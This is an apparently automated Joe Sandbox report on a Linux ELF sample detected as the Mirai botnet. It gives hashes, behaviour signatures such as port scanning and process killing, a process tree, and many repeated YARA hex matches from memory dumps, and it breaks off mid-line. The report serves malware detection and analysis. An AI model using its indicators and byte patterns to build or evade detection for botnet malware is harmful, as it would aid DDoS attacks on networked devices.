Edit tour

Linux Analysis Report
mpsl.elf

Overview

General Information

Sample name:	mpsl.elf
Analysis ID:	1619321
MD5:	db432d28e56802dd938bd7eed7a5457a
SHA1:	93df962e2730d4b1701fc1e1e34b4f821740b193
SHA256:	575685964ad4478fd55de9f3be3bc49790202d582c938fbbc05373085b232a32
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1619321
Start date and time:	2025-02-19 19:42:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	mpsl.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@2/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/mpsl.elf
PID:	5449
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Infected By Cult
Standard Error:

Process Tree

system is lnxubuntu20

mpsl.elf (PID: 5449, Parent: 5369, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/mpsl.elf

mpsl.elf New Fork (PID: 5451, Parent: 5449)

mpsl.elf New Fork (PID: 5452, Parent: 5449)

mpsl.elf New Fork (PID: 5455, Parent: 5449)

mpsl.elf New Fork (PID: 5457, Parent: 5455)

mpsl.elf New Fork (PID: 5458, Parent: 5455)

mpsl.elf New Fork (PID: 5459, Parent: 5455)

mpsl.elf New Fork (PID: 5462, Parent: 5455)

mpsl.elf New Fork (PID: 5465, Parent: 5455)

mpsl.elf New Fork (PID: 5467, Parent: 5455)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
mpsl.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
mpsl.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
mpsl.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x166f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1672c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16768:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1677c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16790:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16808:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1681c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16830:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16844:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16858:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1686c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16880:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
mpsl.elf	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x16c48:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64

Memory Dumps

Source	Rule	Description	Author	Strings
5458.1.00007f6828400000.00007f6828418000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5458.1.00007f6828400000.00007f6828418000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5458.1.00007f6828400000.00007f6828418000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x166f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1672c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16768:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1677c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16790:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16808:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1681c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16830:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16844:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16858:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1686c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16880:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5458.1.00007f6828400000.00007f6828418000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x16c48:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5457.1.00007f6828400000.00007f6828418000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5457.1.00007f6828400000.00007f6828418000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5457.1.00007f6828400000.00007f6828418000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x166f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1672c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16768:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1677c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16790:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16808:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1681c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16830:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16844:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16858:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1686c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16880:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5457.1.00007f6828400000.00007f6828418000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x16c48:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5452.1.00007f6828400000.00007f6828418000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5452.1.00007f6828400000.00007f6828418000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5452.1.00007f6828400000.00007f6828418000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x166f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1672c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16768:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1677c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16790:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16808:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1681c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16830:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16844:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16858:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1686c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16880:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5452.1.00007f6828400000.00007f6828418000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x16c48:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5451.1.00007f6828400000.00007f6828418000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5451.1.00007f6828400000.00007f6828418000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5451.1.00007f6828400000.00007f6828418000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x166f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1672c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16768:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1677c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16790:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16808:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1681c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16830:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16844:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16858:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1686c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16880:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5451.1.00007f6828400000.00007f6828418000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x16c48:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5465.1.00007f6828400000.00007f6828418000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5465.1.00007f6828400000.00007f6828418000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5465.1.00007f6828400000.00007f6828418000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x166f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1672c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16768:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1677c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16790:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16808:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1681c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16830:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16844:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16858:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1686c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16880:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5465.1.00007f6828400000.00007f6828418000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x16c48:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5449.1.00007f6828400000.00007f6828418000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5449.1.00007f6828400000.00007f6828418000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5449.1.00007f6828400000.00007f6828418000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x166f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1672c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16768:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1677c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16790:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16808:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1681c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16830:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16844:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16858:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 